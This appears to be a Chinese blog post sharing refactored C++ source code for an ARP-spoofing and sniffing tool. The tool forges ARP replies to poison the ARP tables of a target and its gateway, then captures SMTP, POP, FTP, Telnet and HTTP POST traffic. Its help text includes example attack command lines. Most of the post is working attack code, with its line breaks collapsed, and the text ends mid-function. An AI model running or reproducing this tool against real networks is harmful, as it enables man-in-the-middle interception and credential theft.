局域网arpsniffer源码剖析
代碼是別人寫的,我重構了一下,加了點注釋,親測可用。
arp.h
arp.cpp
/*============================================================= Arp cheat and sniffer V2.1 powered by shadow 2005/7/12 myweb:http://www.codehome.6600.org part code from Refdom and PiggyXp! Thanks for Refdom:refdom@263.net|http://www.opengram.com/ Thanks for PiggyXp web:http://blog.csdn.net/piggyxp/ Note: 修復了2003下不能正常獲得adapter list的bug和單雙向欺騙流程! 優化了數據包分析代碼,提高了處理速度,修復欺騙發包問題! 優化包處理流程,修復了包處理的bug,修復監視線程bug。 =============================================================*/#include "stdafx.h" #include <Iphlpapi.h> #include "packet32.h" #include "ntddndis.h" #include "mac.h" #include "conio.h" #include "SNIFFER.h" #include "nb30.h" #include "PcInfor.h" #include "arp.h"//關閉運行時異常檢查 #pragma runtime_checks( "", off )#ifndef CHEAT_INFO #define CHEAT_INTO 0 #define ONLY_CHEAT 1 #define CHEAT_AND_SNIFF 2 #define CHEAT_SEND_TIME 60 #endif#pragma comment(lib,"netapi32.lib") #pragma comment(lib,"packet.lib") #pragma comment(lib,"Iphlpapi.lib") #pragma warning(disable:4996)//全局變量 SNIFFER rsniffer; //抓包功能類對象 INFO_ADAPTER MyAdapterList[10]; //第一種方式列出網卡的的列表 USERINFO sniffuserinfo; //用戶配置信息 ALLIPMACTABLE AllIpMacTable; //所有IP-MAC表 PcInfor mypcinfo; //本機計算機信息 char MyMac[6],TagMac[6],GateMac[6]; //三個網卡地址 int RunType=0; //CHEAT_INTO,ONLY_CHEAT,CHEAT_AND_SNIFF unsigned long LostPacket,LastSendTime,StartTime,EndTime;#define Max_Adapter_Num 10 //網卡列表 char AdapterList[Max_Adapter_Num][1024]; //第二種方式列出網卡的的列表int IsInvalidPacket(char *buff); //區分數據包類型 void RebuildPacketAndRedirect(LPADAPTER lpAdapter,LPPACKET lpPacket,int type,long packlen,char *buff); int PacketIsCheatPacket(char *buff);//獲取系統時間 CString GetCurrentSystemTime() {SYSTEMTIME systemtime;GetSystemTime(&systemtime);CString datetime;datetime.Format("%d-%d-%d %d:%d:%d",systemtime.wYear,systemtime.wMonth,systemtime.wDay,systemtime.wHour,systemtime.wMinute,systemtime.wSecond);return datetime; }//輸出用戶定義信息到文件 void WriteUserDefine() {FILE *fsniffer;fsniffer=fopen(sniffuserinfo.SnifferDataPath,"ab+");if(fsniffer==NULL) return;fprintf(fsniffer,"\r\n=============================================================================================\r\n");fprintf(fsniffer,"Arp Cheat And Sniffer V2.1 \r\npowered by shadow @2005/7/15\r\nMy web:http://www.codehome.6600.org\r\n");fprintf(fsniffer,"Has bugs please mail to me:dreamshadow@mail.sdu.edu.cn\r\n");fprintf(fsniffer,">>This is user define:\r\n");fprintf(fsniffer,"Protocol: [%s]\r\n",sniffuserinfo.ProtoType);fprintf(fsniffer,"Source IP: [%-18s]\t\tSource Port: [%s]\r\n",sniffuserinfo.sourceip,sniffuserinfo.sourceport);fprintf(fsniffer,"Dest IP: [%-18s]\t\tDest Port: [%s]\r\n",sniffuserinfo.destip,sniffuserinfo.destport);fprintf(fsniffer,"Sniff SMTP:\t");if(sniffuserinfo.SmtpSniffStart) fprintf(fsniffer,"true\r\n");else fprintf(fsniffer,"false\r\n");fprintf(fsniffer,"Sniff POP:\t");if(sniffuserinfo.PopSniffStart) fprintf(fsniffer,"true\r\n");else fprintf(fsniffer,"false\r\n");fprintf(fsniffer,"Sniff FTP:\t");if(sniffuserinfo.FtpSniffStart) fprintf(fsniffer,"true\r\n");else fprintf(fsniffer,"false\r\n");fprintf(fsniffer,"Sniff Telnet:\t");if(sniffuserinfo.TelnetSniffStart) fprintf(fsniffer,"true\r\n");else fprintf(fsniffer,"false\r\n");fprintf(fsniffer,"Sniff POST:\t");if(sniffuserinfo.PostSniffStart) fprintf(fsniffer,"true\r\n");else fprintf(fsniffer,"false\r\n");fprintf(fsniffer,"Sniff PACKET:\t");if(sniffuserinfo.PacketSniffStart) fprintf(fsniffer,"true\r\n");else fprintf(fsniffer,"false\r\n");fprintf(fsniffer,"Sniff Filter:\t");if(sniffuserinfo.Filter) fprintf(fsniffer,"[true]\r\n");else fprintf(fsniffer,"[false]\r\n");fprintf(fsniffer,"Sniff Way:\t");if(sniffuserinfo.Way) fprintf(fsniffer,"si->di\r\n");else fprintf(fsniffer,"si<->di\r\n");fprintf(fsniffer,"Sniff Mode:\t");if(sniffuserinfo.HighSniff) fprintf(fsniffer,"high\r\n");else fprintf(fsniffer,"low\r\n");fprintf(fsniffer,"Sniff TimeOut:\t[%d] seconds\r\n",sniffuserinfo.timeout);fprintf(fsniffer,"Save File Path:\t[%s]\r\n",sniffuserinfo.SnifferDataPath);fprintf(fsniffer,"Max File Len :\t[%d] M\r\n",sniffuserinfo.MaxData);fprintf(fsniffer,"Save File Mode:\t");if(sniffuserinfo.OutputByHex) fprintf(fsniffer,"[HEX]\r\n");else fprintf(fsniffer,"[ASC]\r\n");fprintf(fsniffer,"Sniff Start At %s\r\n=============================================================================================\r\n",GetCurrentSystemTime());fclose(fsniffer); }//顯示用戶定義信息 void ShowUserDefine() { printf(">>This is user define:\r\n");printf("Protocol: [%s]\r\n",sniffuserinfo.ProtoType);printf("Source IP: [%-18s]\t\tSource Port: [%s]\r\n",sniffuserinfo.sourceip,sniffuserinfo.sourceport);printf("Dest IP: [%-18s]\t\tDest Port: [%s]\r\n",sniffuserinfo.destip,sniffuserinfo.destport);printf("Sniff SMTP:\t");if(sniffuserinfo.SmtpSniffStart) printf("[true]\r\n");else printf("[false]\r\n");printf("Sniff POP:\t");if(sniffuserinfo.PopSniffStart)printf("[true]\r\n");else printf("[false]\r\n");printf("Sniff FTP:\t");if(sniffuserinfo.FtpSniffStart) printf("[true]\r\n");else printf("[false]\r\n");printf("Sniff Telnet:\t");if(sniffuserinfo.TelnetSniffStart)printf("[true]\r\n");else printf("[false]\r\n");printf("Sniff POST:\t");if(sniffuserinfo.PostSniffStart) printf("[true]\r\n");else printf("[false]\r\n");printf("Sniff PACKET:\t");if(sniffuserinfo.PacketSniffStart)printf("[true]\r\n");else printf("[false]\r\n");printf("Sniff Filter:\t");if(sniffuserinfo.Filter) printf("[true]\r\n");else printf("[false]\r\n");printf("Sniff Way:\t");if(sniffuserinfo.Way) printf("[si->di]\r\n");else printf("[si<->di]\r\n");printf("Sniff Mode:\t");if(sniffuserinfo.HighSniff) printf("[high]\r\n");else printf("[low]\r\n");printf("Sniff TimeOut:\t[%d] seconds\r\n",sniffuserinfo.timeout);printf("Save File Path:\t[%s]\r\n",sniffuserinfo.SnifferDataPath);printf("Max File Len :\t[%d] M\r\n",sniffuserinfo.MaxData);printf("Save File Mode:\t");if(sniffuserinfo.OutputByHex) printf("[HEX]\r\n");else printf("[ASC]\r\n"); }//顯示幫助 void ShowHelp() {printf("\r\n================================================================================\r\n");printf("\t\tArp Cheat And Sniffer V2.1\r\n\t\tPowered by shadow @2005/7/15\r\n\t\tmy web:http://www.codehome.6600.org\r\n\t\tHas bugs please mail to:dreamshadow@mail.sdu.edu.cn\r\n");printf("\r\n================================================================================\r\n");printf("Usage:\r\n");printf("-si \t\t\t源ip\n-di \t\t\t目的ip *代表所有,多項用,號分割\r\n");printf("-sp \t\t\t源端口\n-dp \t\t\t目的端口 *代表所有\r\n");printf("-w \t\t\t嗅探方式,1代表單向嗅探[si->di],0代表雙向嗅探[si<->di]\r\n");printf("-p \t\t\t嗅探協議[TCP,UDP,ICMP]大寫\r\n");printf("-m \t\t\t最大記錄文件,以M為單位\r\n");printf("-o \t\t\t文件輸出\r\n");printf("-hex \t\t\t十六進制輸出到文件\r\n");printf("-unecho \t\t不回顯 \r\n");printf("-auto \t\t\t不提問 \r\n");printf("-choosetype \t\t網卡獲取類型,默認是1 \r\n");printf("-index \t\t網卡號,默認是0 \r\n");printf("-unfilter \t\t不過慮0字節數據包\r\n");printf("-low \t\t\t粗略嗅探,丟包率高,cpu利用率低 基本0%\r\n");printf("-timeout \t\t嗅探超時,除非網絡狀況比較差否則請不要調高,默認為120秒\r\n");printf("-sniffsmtp\t\t嗅探smtp\r\n");printf("-sniffpop\t\t嗅探pop\r\n");printf("-sniffpost\t\t嗅探post\r\n");printf("-sniffftp\t\t嗅探ftp\r\n");printf("-snifftelnet\t\t嗅探telnet,以上5個嗅探不受參數si,sp,di,dp,w,p影響.\r\n");printf("-sniffpacket\t\t規則嗅探數據包,受參數si,sp,di,dp,w,p影響.\r\n");printf("-sniffall\t\t開啟所有嗅探\r\n");printf("-onlycheat \t\t只欺騙\n-cheatsniff \t\t欺騙并且嗅探\n-reset \t\t欺騙后恢復\n");printf("-g \t\t\t[網關ip]\n-c \t\t\t[欺騙者ip] [mac]\n-t \t\t\t[受騙者ip]\n-time \t\t\t[欺騙次數]\n");printf("Example:\r\n");printf(" arpsniffer -p TCP -dp 25,110 -o f:\\1.txt -m 1 -sniffpacket\r\n 嗅探指定規則數據抱并保存到文件\r\n");printf(" arpsniffer -sniffall -cheatsniff -t 127.0.0.1 -g 127.0.0.254\r\n 欺騙并且開啟所有嗅探,輸出到屏幕\r\n");printf(" arpsniffer -onlycheat -t 127.0.0.1 -c 127.0.0.2 002211445544 -time 100 -reset\r\n 對目標欺騙一百次,欺騙后恢復\r\n");printf("Note:\n\tProgram for 阿黛,I am very sorry for do this so late.Forgive me~~ :)\r\n"); }/獲取網卡詳細信息---結束/// //code from PiggyXp web:http://blog.csdn.net/piggyxp/ int GetAdapterListFromIpHelp() {char tempChar;ULONG uListSize=1;PIP_ADAPTER_INFO pAdapter; // 定義PIP_ADAPTER_INFO結構存儲網卡信息int nAdapterIndex = 0;DWORD dwRet = GetAdaptersInfo((PIP_ADAPTER_INFO)&tempChar, &uListSize);//關鍵函數printf("\r\nTry to get adapter list by iphelpapi...\r\n");if (dwRet == ERROR_BUFFER_OVERFLOW){PIP_ADAPTER_INFO pAdapterListBuffer = (PIP_ADAPTER_INFO)new(char[uListSize]);dwRet = GetAdaptersInfo(pAdapterListBuffer, &uListSize);if (dwRet == ERROR_SUCCESS){pAdapter = pAdapterListBuffer;while (pAdapter) // 枚舉網卡然后將相關條目添加到List中{// 網卡名字CString strTemp = pAdapter->AdapterName; strTemp = "\\Device\\NPF_" + strTemp; // 加上前綴 strcpy(MyAdapterList[nAdapterIndex].szDeviceName,strTemp);// IPstrcpy(MyAdapterList[nAdapterIndex].szIPAddrStr,pAdapter->IpAddressList.IpAddress.String );// MAC//formatMACToStr( MyAdapterList[nAdapterIndex].szHWAddrStr, pAdapter->Address );// 網卡編號MyAdapterList[nAdapterIndex].dwIndex = pAdapter->Index; pAdapter = pAdapter->Next;nAdapterIndex ++;}delete pAdapterListBuffer;}return nAdapterIndex;}return 0; }//======================== code from winpcap ===================================// //從注冊表中讀取網卡名 int GetAdapterList() {printf("\r\nTry to get adapter list by winpcap driver...\r\n");DWORD dwVersion;DWORD dwWindowsMajorVersion;memset((void *)AdapterList,0,sizeof(AdapterList));//unicode strings (winnt) // WCHAR AdapterName[8192]; // string that contains a list of the network adapters // WCHAR *temp,*temp1;char AdapterName[8192]; // string that contains a list of the network adapterschar *temp,*temp1;//ascii strings (win95)char AdapterNamea[8192]; // string that contains a list of the network adapterschar *tempa,*temp1a;int AdapterNum=0;ULONG AdapterLength;int i=0; ZeroMemory((void *)AdapterName,sizeof(AdapterName));ZeroMemory((void *)AdapterNamea,sizeof(AdapterNamea));// the data returned by PacketGetAdapterNames is different in Win95 and in WinNT.// We have to check the os on which we are runningdwVersion=GetVersion();dwWindowsMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion)));if (!(dwVersion >= 0x80000000 && dwWindowsMajorVersion >= 4)){ // Windows NTAdapterLength = sizeof(AdapterName);if(PacketGetAdapterNames((char *)AdapterName,&AdapterLength)==FALSE){printf("Unable to retrieve the list of the adapters!\n");return -1;}temp=AdapterName;temp1=AdapterName;while ((*temp!='\0')||(*(temp-1)!='\0')){if (*temp=='\0') {memcpy(AdapterList[i], temp1, temp-temp1);temp1 = temp+1;i++;}temp++;} AdapterNum=i; printf("Windows ver is NT\n");}else //windows 95{AdapterLength = sizeof(AdapterNamea);if(PacketGetAdapterNames(AdapterNamea,&AdapterLength)==FALSE){printf("Unable to retrieve the list of the adapters!\n");return -1;}tempa=AdapterNamea;temp1a=AdapterNamea;while ((*tempa!='\0')||(*(tempa-1)!='\0')){if (*tempa=='\0') {memcpy(AdapterList[i],temp1a,tempa-temp1a);temp1a=tempa+1;i++;}tempa++;} AdapterNum=i;printf("Windows ver is 98\n");} return AdapterNum; } /獲取網卡詳細信息---結束/////打印抓取的數據包 void PrintPackets(LPADAPTER lpAdapter,LPPACKET lpPacket) {ULONG ulBytesReceived;char *pChar,*base;char *buf;u_int tlen1,off=0;struct bpf_hdr *hdr; ulBytesReceived = lpPacket->ulBytesReceived;buf =(char *)lpPacket->Buffer;off=0;if(off<ulBytesReceived){ hdr=(struct bpf_hdr *)(buf+off);tlen1=hdr->bh_datalen;off+=hdr->bh_hdrlen;pChar =(char*)(buf+off);//=======================================my check code (no use)=================================//base=pChar;if(RunType==CHEAT_AND_SNIFF&&IsInvalidPacket(base)) return;if(rsniffer.AnalysePacket(base+14)&&RunType==CHEAT_AND_SNIFF)RebuildPacketAndRedirect(lpAdapter,lpPacket,PacketIsCheatPacket(base),tlen1,base);return; } } //======================== code from winpcap end ===============================////構造ARP數據包 int SetArpPacket(PARPPACKET pArppacket,CString receiveip,CString receivemac,CString fakesendip,CString fakesendmac,CString realsendmac) {char MacAddr[6];if (!GetMacAddr(receivemac, MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(pArppacket->ehhdr.eh_dst, MacAddr, 6); //目的MAC地址。(A的地址)if (!GetMacAddr(realsendmac, MacAddr)){printf ("Get Mac address error!\n");}memcpy(pArppacket->ehhdr.eh_src, MacAddr, 6); //源MAC地址pArppacket->ehhdr.eh_type = htons(EPT_ARP);pArppacket->arphdr.arp_hrd = htons(ARP_HARDWARE);pArppacket->arphdr.arp_pro = htons(EPT_IP);pArppacket->arphdr.arp_hln = 6;pArppacket->arphdr.arp_pln = 4;pArppacket->arphdr.arp_op = htons(ARP_REPLY);if (!GetMacAddr(fakesendmac, MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(pArppacket->arphdr.arp_sha, MacAddr, 6); //偽造的C的MAC地址pArppacket->arphdr.arp_spa = inet_addr(fakesendip); //C的IP地址if (!GetMacAddr(receivemac, MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(pArppacket->arphdr.arp_tha , MacAddr, 6); //目標A的MAC地址pArppacket->arphdr.arp_tpa = inet_addr(receiveip); //目標A的IP地址return 1; }//發送ARP數據包 //參數四:欺騙目標的IP和MAC(都是真實的) //參數五:告訴被欺騙者的內容,某某IP對應某某MAC,(IP和MAC最少有一個是假的) int SendArpPacket(int times, LPADAPTER lpAdapter, LPPACKET lpPacket, LIPMACTABLE tag, LIPMACTABLE src) {//構造ARP數據包ARPPACKET ArpPacket;char SZbuff[600];ZeroMemory(SZbuff,sizeof(SZbuff));int errcode=SetArpPacket(&ArpPacket,tag->Ip,tag->Mac,src->Ip,src->Mac,src->Mac);if(!errcode){printf("set packet error!\n");return 0;}memcpy(SZbuff,(char *)&ArpPacket,sizeof(ArpPacket));PacketInitPacket(lpPacket, SZbuff, 60);int j=0;//死循環的發送if(times==0){while(true){//kbhit函數:檢查當前是否有鍵盤輸入,若有則返回一個非0值,否則返回0if(kbhit()) return j;if(PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE) return j;if(sniffuserinfo.Echo) printf(".");j++;Sleep(50);}}//有次數的發送for(j=0;j<times;j++){if(PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE) break;if(sniffuserinfo.Echo) printf(".");Sleep(50);}return j; }//利用ICMP協議和arp協議獲取mac void GetMacByBat(CString ip, CString &mac) {printf("\r\n-Can not get mac by netbios -_-\r\n-Try to use ping to get mac...\r\n");mac="000000000000";FILE *bat=fopen("mac.bat","wb");if(bat==NULL) return;fputs("@echo off\r\n",bat);fputs("ping "+ip+"\r\n",bat);fputs("arp -a|find \""+ip+"\">mac.txt\r\n",bat);fputs("exit\r\n",bat);fclose(bat);system("mac.bat");remove("mac.bat");printf("\r\n+ping ok done...\r\n\r\n");bat=fopen("mac.txt","r");if(bat==NULL) return;char str[MAX_PATH],macstr[18];fgets(str,sizeof(str),bat);fclose(bat);remove("mac.txt");ZeroMemory(macstr,sizeof(macstr));sscanf(&str[2],ip+" %s ",macstr);if(strlen(macstr)!=17) return;mac.Format("%s",macstr);mac.Replace("-","");TRACE(mac); }//對沒有開啟netbios服務,或者有防火墻,或者是網關都無法獲取mac地址 //根據IP獲取MAC void GetMacAddress(CString sNetBiosName, CString &sMacAddress) {ASTAT Adapter; NCB ncb; // NCB結構體,用于設置執行的NetBIOS命令和參數 UCHAR uRetCode; // 執行Netbios()函數的返回值 memset( &ncb, 0, sizeof(ncb) ); // 初始化ncb結構體 ncb.ncb_command = NCBRESET; // 設置執行NCBRESET,復位網絡適配器 ncb.ncb_lana_num = 0; // 設置LANA編號 uRetCode = Netbios( &ncb ); // 調用Netbios()函數,執行NCBRESET命令 memset( &ncb, 0, sizeof(ncb) ); // 初始化ncb ncb.ncb_command = NCBASTAT; // 執行NCBASTAT命令,獲取網絡適配器狀態 ncb.ncb_lana_num = 0; // 設置LANA編號 sNetBiosName.MakeUpper(); FillMemory(ncb.ncb_callname, NCBNAMSZ - 1, 0x20); strcpy((char *)ncb.ncb_callname, (LPSTR)(LPCTSTR) sNetBiosName); ncb.ncb_callname[sNetBiosName.GetLength()] = 0x20; ncb.ncb_callname[NCBNAMSZ - 1] = 0x0; ncb.ncb_buffer = (unsigned char *) &Adapter; ncb.ncb_length = sizeof(Adapter); uRetCode = Netbios(&ncb); sMacAddress="000000000000"; if (uRetCode == 0) { sMacAddress.Format(_T("%02x%02x%02x%02x%02x%02x"), Adapter.adapt.adapter_address[0], Adapter.adapt.adapter_address[1], Adapter.adapt.adapter_address[2], Adapter.adapt.adapter_address[3], Adapter.adapt.adapter_address[4], Adapter.adapt.adapter_address[5]); } else{//利用ICMP協議和ARP協議獲取macGetMacByBat(sNetBiosName, sMacAddress);} }//設置ip,mac bool SetIpMacInfo(CString ip,LIPMACTABLE pipmac) { //獲取ip對應的MAC地址pipmac->Ip=ip;printf("Try to get Mac of \t[ %s ]\r\n",ip);GetMacAddress(ip, pipmac->Mac);printf("This IP's MAc is: \t[ %s ]\r\n",pipmac->Mac);if(pipmac->Mac=="000000000000") return false;else return true; }//MAC地址加"-" CString ConvertMacToStr(CString mac) {CString temp="";for(int i=1;i<=6;i++){temp=temp+mac.Left(2)+"-";mac=mac.Right(mac.GetLength()-2);}temp=temp.Left(temp.GetLength()-1);return temp; }//在欺騙開始前設置靜態的ip,mac對應表,否則會導致本機上不了網 bool SetStaticIpMac(CString tagip,CString tagmac,CString gateip,CString gatemac) {CString str="";/*arp -s 命令在WIN7下面已經失去效用,欺騙之前要手工綁定WIN7下綁定的方法:第一步查詢網卡IDX號:netsh i i sh in第二步綁定:netsh interface ipv4 set neighbors 11 "192.168.0.1" "c8-d3-a3-02-97-56" store=persistent*/ // str="@arp -s "+tagip+" "+ConvertMacToStr(tagmac)+"\r\n"; // str+="@arp -s "+gateip+" "+ConvertMacToStr(gatemac)+"\r\n";str="netsh interface ipv4 set neighbors 11 \"" + tagip + "\" \"" + ConvertMacToStr(tagmac) + "\" store=persistent" + "\r\n";str+="netsh interface ipv4 set neighbors 11 \"" + gateip + "\" \"" + ConvertMacToStr(gatemac) + "\" store=persistent" + "\r\n";str+="@exit\r\n";FILE *fout;fout=fopen("macset.bat","wb+");if(fopen==NULL) return false;fputs(str,fout);fclose(fout);system("macset.bat");remove("macset.bat");return true; }//截獲的是欺騙發過來的包并判斷是哪個發過來的 int PacketIsCheatPacket(char *buff) {if(memcmp(buff, MyMac, 6) == 0){if(memcmp(buff+6, TagMac, 6) == 0) return 1;if(memcmp(buff+6, GateMac, 6) == 0) return 2;}return 0; }void RebuildPacketAndRedirect(struct _ADAPTER *,struct _PACKET *,int,long,char *) {}//在欺騙嗅探方式下該包是否是有效包 int IsInvalidPacket(char *buff) {////分析數據包的來源和目的地://buff前6個字節是數據包目標MAC地址,7-12字節代表來源MAC地址////申請緩沖區儲放MAC地址char MacAddr[6];//數據包的目的地不是本地,返回0GetMacAddr(AllIpMacTable.my.Mac, MacAddr);if(memcmp(buff, MacAddr, 6) != 0) return 0;//數據包的來源是欺騙目標,返回1GetMacAddr(AllIpMacTable.cheattag.Mac, MacAddr);if(memcmp(buff+6, MacAddr, 6) == 0) return 1;//數據包的來源是網關,返回2GetMacAddr(AllIpMacTable.gateway.Mac, MacAddr);if(memcmp(buff+6, MacAddr, 6) == 0) return 2;return 0; }//獲取當前時間(單位:秒) unsigned long GetCurrentTimeSeconds() {SYSTEMTIME systemtime;GetSystemTime(&systemtime);return systemtime.wHour*3600+systemtime.wMinute*60+systemtime.wSecond; }//程序入口 int main(int argc, char* argv[]) {////測試代碼//getch();//ULONG ulBytesReceived;bool AutoStart=false;struct bpf_hdr *hdr;int adaptercount,choosetype=1;int index=0; //選擇的第幾塊網卡//丟包LostPacket=0;//獲取本地信息mypcinfo.GetPcSystemInfo();mypcinfo.GetLocalIp();AllIpMacTable.my.Ip=mypcinfo.SystemInfo.IP;sniffuserinfo.PopSniffStart=false;sniffuserinfo.PacketSniffStart=false;sniffuserinfo.PostSniffStart=false;sniffuserinfo.TelnetSniffStart=false;sniffuserinfo.FtpSniffStart=false;sniffuserinfo.LogData=false;sniffuserinfo.Echo=true;sniffuserinfo.OutputByHex=false;sniffuserinfo.HighSniff=true;sniffuserinfo.Filter=true;sniffuserinfo.sourceip="*";sniffuserinfo.sourceport="*";sniffuserinfo.destip="*";sniffuserinfo.destport="*";sniffuserinfo.ProtoType="*";sniffuserinfo.Way=0;sniffuserinfo.MaxData=10;sniffuserinfo.timeout=120;strcpy(sniffuserinfo.SnifferDataPath,"my.txt");int CheatTime=0,ReSet=0;//顯示幫助if(argc<=1 || strcmp(argv[1],"-help")==0 ){system("cls");ShowHelp();return 0;}//參數提取,未加錯誤檢測代碼for(int i=1; i<argc; i++){ if(strcmp(argv[i],"-sniffsmtp")==0 || strcmp(argv[i],"-sniffall") ==0 ) sniffuserinfo.SmtpSniffStart=true;if(strcmp(argv[i],"-sniffpop")==0 || strcmp(argv[i],"-sniffall")==0) sniffuserinfo.PopSniffStart=true;if(strcmp(argv[i],"-sniffpost")==0 || strcmp(argv[i],"-sniffall")==0) sniffuserinfo.PostSniffStart=true;if(strcmp(argv[i],"-snifftelnet")==0||strcmp(argv[i],"-sniffall")==0) sniffuserinfo.TelnetSniffStart=true;if(strcmp(argv[i],"-sniffftp")==0 || strcmp(argv[i],"-sniffall")==0) sniffuserinfo.FtpSniffStart=true;if(strcmp(argv[i],"-sniffpacket")==0 || strcmp(argv[i],"-sniffall")==0) sniffuserinfo.PacketSniffStart=true;if(strcmp(argv[i],"-low")==0) sniffuserinfo.HighSniff=false;if(strcmp(argv[i],"-hex")==0) sniffuserinfo.OutputByHex=true;if(strcmp(argv[i],"-unecho")==0) sniffuserinfo.Echo=false;if(strcmp(argv[i],"-unfilter")==0) sniffuserinfo.Filter=false;if(strcmp(argv[i],"-timeout")==0) sniffuserinfo.timeout=atoi(argv[++i]);if(strcmp(argv[i],"-p")==0) sniffuserinfo.ProtoType.Format("%s",argv[++i]);if(strcmp(argv[i],"-si")==0) sniffuserinfo.sourceip.Format("%s",argv[++i]);if(strcmp(argv[i],"-sp")==0) sniffuserinfo.sourceport.Format("%s",argv[++i]);if(strcmp(argv[i],"-di")==0) sniffuserinfo.destip.Format("%s",argv[++i]);if(strcmp(argv[i],"-dp")==0) sniffuserinfo.destport.Format("%s",argv[++i]);if(strcmp(argv[i],"-w")==0) sniffuserinfo.Way=atoi(argv[++i]);if(strcmp(argv[i],"-m")==0) sniffuserinfo.MaxData=atoi(argv[++i]);if(strcmp(argv[i],"-choosetype")==0) choosetype=atoi(argv[++i]);if(strcmp(argv[i],"-index")==0) index=atoi(argv[++i]);if(strcmp(argv[i],"-reset")==0) ReSet=1;if(strcmp(argv[i],"-auto")==0) AutoStart=true;if(strcmp(argv[i],"-o")==0){strcpy(sniffuserinfo.SnifferDataPath,argv[++i]);sniffuserinfo.LogData=true;}if(strcmp(argv[i],"-onlycheat")==0) RunType=ONLY_CHEAT;if(strcmp(argv[i],"-cheatsniff")==0) RunType=CHEAT_AND_SNIFF;if(strcmp(argv[i],"-t")==0) AllIpMacTable.cheattag.Ip.Format("%s",argv[++i]);if(strcmp(argv[i],"-g")==0) AllIpMacTable.gateway.Ip.Format("%s",argv[++i]);if(strcmp(argv[i],"-c")==0){AllIpMacTable.cheatsrc.Ip.Format("%s",argv[++i]);AllIpMacTable.cheatsrc.Mac.Format("%s",argv[++i]);}if(strcmp(argv[i],"-time")==0) CheatTime=atoi(argv[++i]); }//打印作者信息printf("\r\n======================================================\r\n\r\nArp Cheat And Sniffer V2.1\r\npowered by shadow @2005/6/15\r\nmy web:http://www.codehome.6600.0rg\r\n");printf("\r\n======================================================\r\n\r\n");//選擇網卡printf("+Choose a method to get adapter list:\r\n->0.Get By Winpcap Driver!\r\n->1.Get By IpHelpAPI (Can use this in 2003)!\r\nPlease input your choose num:");if(!AutoStart) scanf("%d",&choosetype);printf("\r\n+Adapater List:\r\n");switch(choosetype){case 0:adaptercount=GetAdapterList();break;case 1:adaptercount=GetAdapterListFromIpHelp();break;default:printf("\r\nWhat you mean?you can't choose that!Oh,god :)\r\n");return 0;}if(adaptercount<=0){printf("Get adapter list error!\r\n");getch();return 0;}int j;printf("\r\n----------------------------------------------------\r\n");for(j=0; j<adaptercount; j++){if(choosetype == 0) //wprintf(L"%d:%s\r\n",j,AdapterList[j]);printf("%d:%s\r\n",j,AdapterList[j]);else printf("%d:%s\r\n",j,MyAdapterList[j].szDeviceName);}Sleep(1000);//數據包LPPACKET lpPacket,lpPacket_Cheat;//選中的網卡LPADAPTER lpAdapter; struct bpf_stat stat;if(!AutoStart){while(true){printf("\r\nPlease choose a adapter with num:");scanf("%d",&index);if(index>=0 && index<adaptercount) break;}}printf("\r\n");//打開網卡if(choosetype==0) lpAdapter = (LPADAPTER)PacketOpenAdapter(AdapterList[index]);else lpAdapter = (LPADAPTER)PacketOpenAdapter(MyAdapterList[index].szDeviceName);//打開網卡失敗int dwErrorCode;if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)){dwErrorCode = GetLastError();printf("Unable to open the adapter, Error Code : %lx\n",dwErrorCode); return -1;}//分配地址空間lpPacket = PacketAllocatePacket();if(lpPacket == NULL){printf("\nError: failed to allocate the LPPACKET structure.");return (-1);}//分配地址空間lpPacket_Cheat = PacketAllocatePacket();if(lpPacket_Cheat == NULL){printf("\nError: failed to allocate the LPPACKET structure cheat.");return (-1);}//只進行欺騙//使用例子 arpsniffer -onlycheat -t 192.168.0.180 -c 192.168.0.9 002211445544if(RunType == ONLY_CHEAT){AllIpMacTable.realcheatsrc.Ip = AllIpMacTable.cheatsrc.Ip;if(!SetIpMacInfo(AllIpMacTable.realcheatsrc.Ip, &(AllIpMacTable.realcheatsrc))){printf("Err:獲取欺騙源真實的mac地址失敗!\r\n");return 0;}else printf("+OK:獲取獲取欺騙源真實mac地址成功!\r\n");if(!SetIpMacInfo(AllIpMacTable.cheattag.Ip, &(AllIpMacTable.cheattag))){printf("Err:獲取目標mac地址失敗!\r\n");return 0;}else printf("+OK:獲取目標mac地址成功!\r\n");//打印欺騙配置信息printf("\r\n欺騙源ip: %s\t\t欺騙源mac: %s", AllIpMacTable.cheatsrc.Ip, AllIpMacTable.cheatsrc.Mac);printf("\r\n受騙主機: %s\t\t受騙的mac: %s\r\n\r\n", AllIpMacTable.cheattag.Ip, AllIpMacTable.cheattag.Mac);printf("-->開始欺騙主機...\r\n");CheatTime = SendArpPacket(CheatTime, lpAdapter, lpPacket, &(AllIpMacTable.cheattag), &(AllIpMacTable.cheatsrc));printf("\n發送 %d 個arp包完成\r\n--Done 欺騙完成!\r\n", CheatTime);//自動恢復if(ReSet == 1){SendArpPacket(2, lpAdapter, lpPacket, &(AllIpMacTable.cheattag), &(AllIpMacTable.realcheatsrc));printf("<--恢復欺騙完成!\r\n");} return 0;}//欺騙和嗅探// arpsniffer -sniffall -di 192.168.0.180if(RunType == CHEAT_AND_SNIFF){sniffuserinfo.sourceip = AllIpMacTable.cheattag.Ip;ShowUserDefine();//欺騙目標if(!SetIpMacInfo(AllIpMacTable.cheattag.Ip, &(AllIpMacTable.cheattag))){printf("Err:獲取目標mac地址失敗!\r\n");return 0;}else{printf("+OK:獲取目標mac地址成功!\r\n");}//設置網關if(!SetIpMacInfo(AllIpMacTable.gateway.Ip, &(AllIpMacTable.gateway))){printf("Err:獲取網關mac地址失敗!\r\n");return 0;} else{printf("+OK:獲取網關mac地址成功!\r\n"); }//自己的IP-MACif(!SetIpMacInfo(AllIpMacTable.my.Ip, &(AllIpMacTable.my))){printf("Err:獲取自身mac地址失敗!\r\n");return 0;} else{printf("+OK:獲取自身mac地址成功!\r\n");}//設置網卡地址GetMacAddr(AllIpMacTable.my.Mac, MyMac);GetMacAddr(AllIpMacTable.gateway.Mac, GateMac);GetMacAddr(AllIpMacTable.cheattag.Mac, TagMac); //靜態綁定欺騙目標和網關的MACprintf("\r\nTry to set static ip mac table...\r\n");if(SetStaticIpMac(AllIpMacTable.cheattag.Ip, AllIpMacTable.cheattag.Mac, AllIpMacTable.gateway.Ip, AllIpMacTable.gateway.Mac)){printf("\r\n+Ok\r\n");}else{printf("\r\n+Falied\r\n");return 